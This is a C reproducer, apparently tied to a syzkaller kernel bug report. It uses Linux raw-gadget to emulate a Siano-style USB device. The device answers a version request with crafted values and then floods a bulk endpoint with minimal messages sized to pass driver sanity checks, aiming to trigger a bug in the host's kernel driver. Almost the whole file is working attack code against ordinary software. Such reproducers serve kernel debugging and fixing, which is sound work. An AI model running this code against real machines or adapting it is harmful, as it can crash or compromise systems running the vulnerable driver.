// https://syzkaller.appspot.com/bug?id=a40402bdbbf1a53c4010ba305b1d9e8d9d418f44
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <linux/usb/ch9.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
	__u8	driver_name[UDC_NAME_LENGTH_MAX];
	__u8	device_name[UDC_NAME_LENGTH_MAX];
	__u8	speed;
};

struct usb_raw_event {
	__u32		type;
	__u32		length;
	__u8		data[];
};

struct usb_raw_ep_io {
	__u16		ep;
	__u16		flags;
	__u32		length;
	__u8		data[];
};

#define USB_RAW_IOCTL_INIT		_IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN		_IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH	_IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE		_IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ		_IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE		_IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE	_IOW('U', 6, __u32)
#define USB_RAW_IOCTL_EP_WRITE		_IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_READ		_IOWR('U', 8, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE		_IO('U', 9)
#define USB_RAW_IOCTL_VBUS_DRAW		_IOW('U', 10, __u32)
#define USB_RAW_IOCTL_EPS_INFO		_IOR('U', 11, struct usb_raw_eps_info)
#define USB_RAW_IOCTL_EP0_STALL		_IO('U', 12)

#define USB_RAW_EVENT_CONNECT 1
#define USB_RAW_EVENT_CONTROL 2

struct usb_device_descriptor dev_desc = {
	.bLength = USB_DT_DEVICE_SIZE,
	.bDescriptorType = USB_DT_DEVICE,
	.bDeviceClass = 0,
	.bDeviceSubClass = 0,
	.bDeviceProtocol = 0,
	.bMaxPacketSize0 = 64,
	.iManufacturer = 0,
	.iProduct = 0,
	.iSerialNumber = 0,
	.bNumConfigurations = 1,
};

struct usb_config_descriptor conf_desc = {
	.bLength = USB_DT_CONFIG_SIZE,
	.bDescriptorType = USB_DT_CONFIG,
	.bNumInterfaces = 1,
	.bConfigurationValue = 1,
	.iConfiguration = 0,
	.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
	.bMaxPower = 50,
};

struct usb_interface_descriptor intf_desc = {
	.bLength = USB_DT_INTERFACE_SIZE,
	.bDescriptorType = USB_DT_INTERFACE,
	.bInterfaceNumber = 0,
	.bAlternateSetting = 0,
	.bNumEndpoints = 2,
	.bInterfaceClass = 0xff,
	.bInterfaceSubClass = 0xff,
	.bInterfaceProtocol = 0xff,
	.iInterface = 0,
};

struct usb_endpoint_descriptor ep1_desc = {
	.bLength = USB_DT_ENDPOINT_SIZE,
	.bDescriptorType = USB_DT_ENDPOINT,
	.bEndpointAddress = 0x81, /* IN endpoint */
	.bmAttributes = USB_ENDPOINT_XFER_BULK,
	.bInterval = 0,
};

struct usb_endpoint_descriptor ep2_desc = {
	.bLength = USB_DT_ENDPOINT_SIZE,
	.bDescriptorType = USB_DT_ENDPOINT,
	.bEndpointAddress = 0x02, /* OUT endpoint */
	.bmAttributes = USB_ENDPOINT_XFER_BULK,
	.bInterval = 0,
};

struct thread_arg {
	int fd;
	int ep_id;
	int in_ep_id;
};

struct sms_msg_hdr {
	uint16_t msg_type;
	uint8_t  msg_src_id;
	uint8_t  msg_dst_id;
	uint16_t msg_length;
	uint16_t msg_flags;
};

struct sms_version_res {
	struct sms_msg_hdr	x_msg_header;
	uint16_t		chip_model;
	uint8_t		step;
	uint8_t		metal_fix;
	uint8_t firmware_id;
	uint8_t supported_protocols;
	uint8_t		version_major;
	uint8_t		version_minor;
	uint8_t		version_patch;
	uint8_t		version_field_patch;
	uint8_t		rom_ver_major;
	uint8_t		rom_ver_minor;
	uint8_t		rom_ver_patch;
	uint8_t		rom_ver_field_patch;
	uint8_t		TextLabel[34];
};

volatile bool start_spamming = false;

void *ep1_thread(void *arg) {
	sigset_t set;
	sigemptyset(&set);
	sigaddset(&set, SIGALRM);
	pthread_sigmask(SIG_BLOCK, &set, NULL);

	struct thread_arg *targ = arg;
	struct {
		struct usb_raw_ep_io inner;
		uint8_t data[8];
	} io;
	
	memset(&io, 0, sizeof(io));
	io.data[4] = 8; /* msg_length = 8 (little endian) to pass sanity checks */
	
	while (!start_spamming) {
		usleep(10000);
	}
	
	while (1) {
		io.inner.ep = targ->ep_id;
		io.inner.flags = 0;
		io.inner.length = 8;
		if (ioctl(targ->fd, USB_RAW_IOCTL_EP_WRITE, &io) < 0) {
			if (errno == EINTR)
				continue;
			break;
		}
	}
	free(targ);
	return NULL;
}

void *ep2_thread(void *arg) {
	sigset_t set;
	sigemptyset(&set);
	sigaddset(&set, SIGALRM);
	pthread_sigmask(SIG_BLOCK, &set, NULL);

	struct thread_arg *targ = arg;
	struct {
		struct usb_raw_ep_io inner;
		uint8_t data[512];
	} io;
	
	while (1) {
		io.inner.ep = targ->ep_id;
		io.inner.flags = 0;
		io.inner.length = sizeof(io.data);
		if (ioctl(targ->fd, USB_RAW_IOCTL_EP_READ, &io) >= 0) {
			if (io.inner.length >= sizeof(struct sms_msg_hdr)) {
				struct sms_msg_hdr *hdr = (struct sms_msg_hdr *)io.data;
				if (hdr->msg_type == 668) { /* MSG_SMS_GET_VERSION_EX_REQ */
					struct {
						struct usb_raw_ep_io inner;
						struct sms_version_res res;
					} write_io;
					memset(&write_io, 0, sizeof(write_io));
					write_io.inner.ep = targ->in_ep_id;
					write_io.inner.flags = 0;
					write_io.inner.length = sizeof(struct sms_version_res);
					
					write_io.res.x_msg_header.msg_type = 669; /* MSG_SMS_GET_VERSION_EX_RES */
					write_io.res.x_msg_header.msg_length = sizeof(struct sms_version_res);
					write_io.res.firmware_id = 255;
					write_io.res.supported_protocols = (1 << 4);
					write_io.res.rom_ver_major = 0;
					
					ioctl(targ->fd, USB_RAW_IOCTL_EP_WRITE, &write_io);
					
					start_spamming = true;
				}
			}
		} else {
			if (errno == EINTR)
				continue;
			break;
		}
	}
	free(targ);
	return NULL;
}

void sigalrm_handler(int sig) {
	/* Do nothing, just interrupt ioctl in the main thread */
}

int run_once(void) {
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0200);
	dev_desc.bcdDevice = htole16(0x0100);
	conf_desc.wTotalLength = htole16(USB_DT_CONFIG_SIZE + USB_DT_INTERFACE_SIZE + 2 * USB_DT_ENDPOINT_SIZE);
	ep1_desc.wMaxPacketSize = htole16(512);
	ep2_desc.wMaxPacketSize = htole16(512);

	start_spamming = false;
	int fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
		return 1;
	}

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	init.speed = 3; /* USB_SPEED_HIGH */
	strcpy((char *)init.driver_name, "dummy_udc");
	strcpy((char *)init.device_name, "dummy_udc.0");

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
		close(fd);
		return 1;
	}

	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] Failed to run raw-gadget: %s\n", strerror(errno));
		close(fd);
		return 1;
	}

	pthread_t t1, t2;
	bool configured = false;
	int ep1_id = -1, ep2_id = -1;

	signal(SIGALRM, sigalrm_handler);
	alarm(5); /* Run for 5 seconds to allow timeout and cleanup */

	while (1) {
		struct {
			struct usb_raw_event inner;
			struct usb_ctrlrequest ctrl;
		} event;
		event.inner.length = sizeof(struct usb_ctrlrequest);

		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			if (errno == EINTR) {
				printf("[+] Alarm triggered, ending run.\n");
				break;
			}
			printf("[-] Failed to fetch event: %s\n", strerror(errno));
			break;
		}

		if (event.inner.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Received USB_RAW_EVENT_CONNECT.\n");
		} else if (event.inner.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = &event.ctrl;
			
			struct {
				struct usb_raw_ep_io inner;
				uint8_t data[4096];
			} io;
			io.inner.ep = 0;
			io.inner.flags = 0;
			io.inner.length = 0;

			if (ctrl->bRequestType & USB_DIR_IN) {
				bool handled = false;
				if (ctrl->bRequest == USB_REQ_GET_DESCRIPTOR) {
					if (le16toh(ctrl->wValue) == (USB_DT_DEVICE << 8)) {
						memcpy(io.data, &dev_desc, sizeof(dev_desc));
						io.inner.length = sizeof(dev_desc);
						handled = true;
					} else if (le16toh(ctrl->wValue) == (USB_DT_CONFIG << 8)) {
						int offset = 0;
						/* Pack descriptors using exact USB sizes to avoid padding issues */
						memcpy(io.data + offset, &conf_desc, USB_DT_CONFIG_SIZE);
						offset += USB_DT_CONFIG_SIZE;
						memcpy(io.data + offset, &intf_desc, USB_DT_INTERFACE_SIZE);
						offset += USB_DT_INTERFACE_SIZE;
						memcpy(io.data + offset, &ep1_desc, USB_DT_ENDPOINT_SIZE);
						offset += USB_DT_ENDPOINT_SIZE;
						memcpy(io.data + offset, &ep2_desc, USB_DT_ENDPOINT_SIZE);
						offset += USB_DT_ENDPOINT_SIZE;
						
						io.inner.length = offset;
						if (io.inner.length > le16toh(ctrl->wLength))
							io.inner.length = le16toh(ctrl->wLength);
						handled = true;
					}
				}
				if (handled) {
					if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
						printf("[-] Failed to write to EP0: %s\n", strerror(errno));
					}
				} else {
					if (ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0) < 0) {
						printf("[-] Failed to stall EP0: %s\n", strerror(errno));
					}
				}
			} else {
				if (ctrl->bRequest == USB_REQ_SET_CONFIGURATION) {
					if (!configured) {
						configured = true;
						
						ep1_id = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep1_desc);
						if (ep1_id < 0) {
							printf("[-] Failed to enable EP1: %s\n", strerror(errno));
						} else {
							printf("[+] Enabled EP1 successfully.\n");
						}
						
						ep2_id = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep2_desc);
						if (ep2_id < 0) {
							printf("[-] Failed to enable EP2: %s\n", strerror(errno));
						} else {
							printf("[+] Enabled EP2 successfully.\n");
						}
						
						if (ep1_id >= 0 && ep2_id >= 0) {
							struct thread_arg *targ1 = malloc(sizeof(*targ1));
							targ1->fd = fd;
							targ1->ep_id = ep1_id;
							targ1->in_ep_id = ep1_id;
							pthread_create(&t1, NULL, ep1_thread, targ1);
							
							struct thread_arg *targ2 = malloc(sizeof(*targ2));
							targ2->fd = fd;
							targ2->ep_id = ep2_id;
							targ2->in_ep_id = ep1_id;
							pthread_create(&t2, NULL, ep2_thread, targ2);
							printf("[+] Started EP threads.\n");
						}
					}
				}
				
				io.inner.length = le16toh(ctrl->wLength);
				if (io.inner.length > sizeof(io.data)) {
					io.inner.length = sizeof(io.data);
				}
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] Failed to read from EP0: %s\n", strerror(errno));
				}
			}
		}
	}

	alarm(0);
	close(fd);
	if (configured && ep1_id >= 0 && ep2_id >= 0) {
		pthread_join(t1, NULL);
		pthread_join(t2, NULL);
	}
	return 0;
}

int main(void) {
	for (int i = 0; i < 5; i++) {
		printf("[+] Attempt %d\n", i + 1);
		run_once();
		sleep(1);
	}
	return 0;
}